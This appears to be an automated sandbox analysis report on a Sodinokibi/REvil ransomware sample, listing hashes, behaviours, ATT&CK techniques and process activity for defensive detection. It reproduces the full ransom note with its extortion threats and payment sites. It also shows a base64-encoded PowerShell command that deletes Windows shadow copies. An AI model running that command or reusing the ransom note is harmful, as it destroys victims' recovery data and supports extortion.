Analysis

  • max time kernel
    122s
  • max time network
    161s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    24-01-2022 01:35

General

  • Target

    8efde1792c83d66d2bf46cdfc695bb5f70edeefd951b70c403960ebcf2ca712c.exe

  • Size

    164KB

  • MD5

    0e3a73d5941bbe2e577bbf9910e422da

  • SHA1

    9a82c12a54cdf85063ebfe9eb97444f49aa68f51

  • SHA256

    8efde1792c83d66d2bf46cdfc695bb5f70edeefd951b70c403960ebcf2ca712c

  • SHA512

    7780e7b1aee337c2d9440ac6f9997cad698cf633118872edd3daa565a8de5330350f2a61cb0b35889e518871c840075f68b39e9c92624783bc7cbb8f88a49ecd

Malware Config

Extracted

Path

C:\22x3p-readme.txt

Family

sodinokibi

Ransom Note
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your computer has extension 22x3p. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/6C011F6EE9295B01 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.top/6C011F6EE9295B01 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: i4vO/DUBw4wFxrp5I2GLADlki4EJ6XlES4wQ/kh0tU6G/z04nao9IUU5uvyUg/0Y RtmfvTExmDu6VTmgx6gYvVEoEI+A5n4N0xEwaoPmYhEofd6C4asGQGtBFN6cLt+Y P5TJHCAbUGID/e0zHR18oZEEHCWljF/TTV+BUD/1uQlpgDYALEPV96JZdmhFs/qP 7vJ6VtklArftUGshumVZn0a8JF57PBrbCXdKaVLjCyNBmImSLtDE1TWAB5aHE/q3 GeOhLd/O69uTaZmNxlVHuoW6z1rdahKb9q0P1bXLxFBULpZsEUOM/5GMrDZ8yekk slIAMp3obqAam11ghRsVlViuJAagEZwIedW2J8UwpAt+nI1MLyQurzTwnXs03QPl MQneBHKB1jK7hLv+AN9xBc8Mkq93O6OlayuBY0YQi3EvYLbWYdPWrywVymv7UNbv dzEALTRFisOb/lsKw+r6/QgRkSyCRPc6505lvY+MgAjZDjruydh0zdZz0Hq12wCn riMXYYcbzVesmm6iQrVMUm7kn5NYrp35uux1QwanjOeBkqdSI1092xxgrdv9fAZ0 nMOxbsL+JLnbICloMz1U0xkuvk0Yo2wa//UYWVQ8xbwT1h0A+6TKOvJs8IWf9b3Y Utx7+eV2ZwKIDJmiCZDXJXey0pCI7bKRLeOSIQWpi3zW/fIa+avvsVc5UStvzQsN 9BiLvCd4v0Nd8+05aB/99MNFJUZ8voB1ofYkzF5kklg610mpqNKCSZmhdINXwtxi AE9lrmCnqoU9HH1jvM1XH3YTm43BCBkuyUOlmbtvS55H+GBo59V6fahxPXqS44wI AJ2Iqw9KNh+hBbSTB8jshqxqA01SCHtfEsAlh32E79BMEeSdDsZ1hBg05PCOiE4L SRMAOoUiapXiLiDfq2TzxI++KkbK24/xkwi0T83FAi2+lxLadTax+xgJJFTgBVU7 iZBBxxolJt/xfIcKDUkGZm8RT4CAzBskj7LXv4gz+8s/SPIbaE8QAduFaxcD7fqz pK6egYX6Dmmg0obmTrEdOy3C468STpA67OjO613QmSvtRFCgGZv8MCcZH+zGP5FG mL6QIdezjl4gLPul9xgwEUo/73Sqn7qWUSuZmCdEMf5NtDOSTEY7W3FlqJvjsz6z RfM= Extension name: 22x3p -------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/6C011F6EE9295B01

http://decryptor.top/6C011F6EE9295B01

Signatures

  • Sodin,Sodinokibi,REvil

    Ransomware with advanced anti-analysis and privilege escalation functionality.

  • Modifies extensions of user files 8 IoCs

    Ransomware generally changes the extension on encrypted files.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 1 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 27 IoCs
  • Modifies system certificate store 2 TTPs 4 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\8efde1792c83d66d2bf46cdfc695bb5f70edeefd951b70c403960ebcf2ca712c.exe
    "C:\Users\Admin\AppData\Local\Temp\8efde1792c83d66d2bf46cdfc695bb5f70edeefd951b70c403960ebcf2ca712c.exe"
    1⤵
    • Modifies extensions of user files
    • Adds Run key to start application
    • Enumerates connected drives
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1916
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:544
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:1372
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1332

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Persistence

    Registry Run Keys / Startup Folder

    1
    T1060

    Defense Evasion

    Modify Registry

    3
    T1112

    Install Root Certificate

    1
    T1130

    Discovery

    Query Registry

    1
    T1012

    Peripheral Device Discovery

    1
    T1120

    System Information Discovery

    1
    T1082

    Impact

    Defacement

    1
    T1491

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/544-55-0x000007FEFB931000-0x000007FEFB933000-memory.dmp
      Filesize

      8KB

    • memory/544-57-0x0000000002720000-0x0000000002722000-memory.dmp
      Filesize

      8KB

    • memory/544-59-0x0000000002724000-0x0000000002727000-memory.dmp
      Filesize

      12KB

    • memory/544-58-0x0000000002722000-0x0000000002724000-memory.dmp
      Filesize

      8KB

    • memory/544-56-0x000007FEF2A00000-0x000007FEF355D000-memory.dmp
      Filesize

      11.4MB

    • memory/544-60-0x000000001B7D0000-0x000000001BACF000-memory.dmp
      Filesize

      3.0MB

    • memory/544-61-0x000000000272B000-0x000000000274A000-memory.dmp
      Filesize

      124KB

    • memory/1916-54-0x0000000075F21000-0x0000000075F23000-memory.dmp
      Filesize

      8KB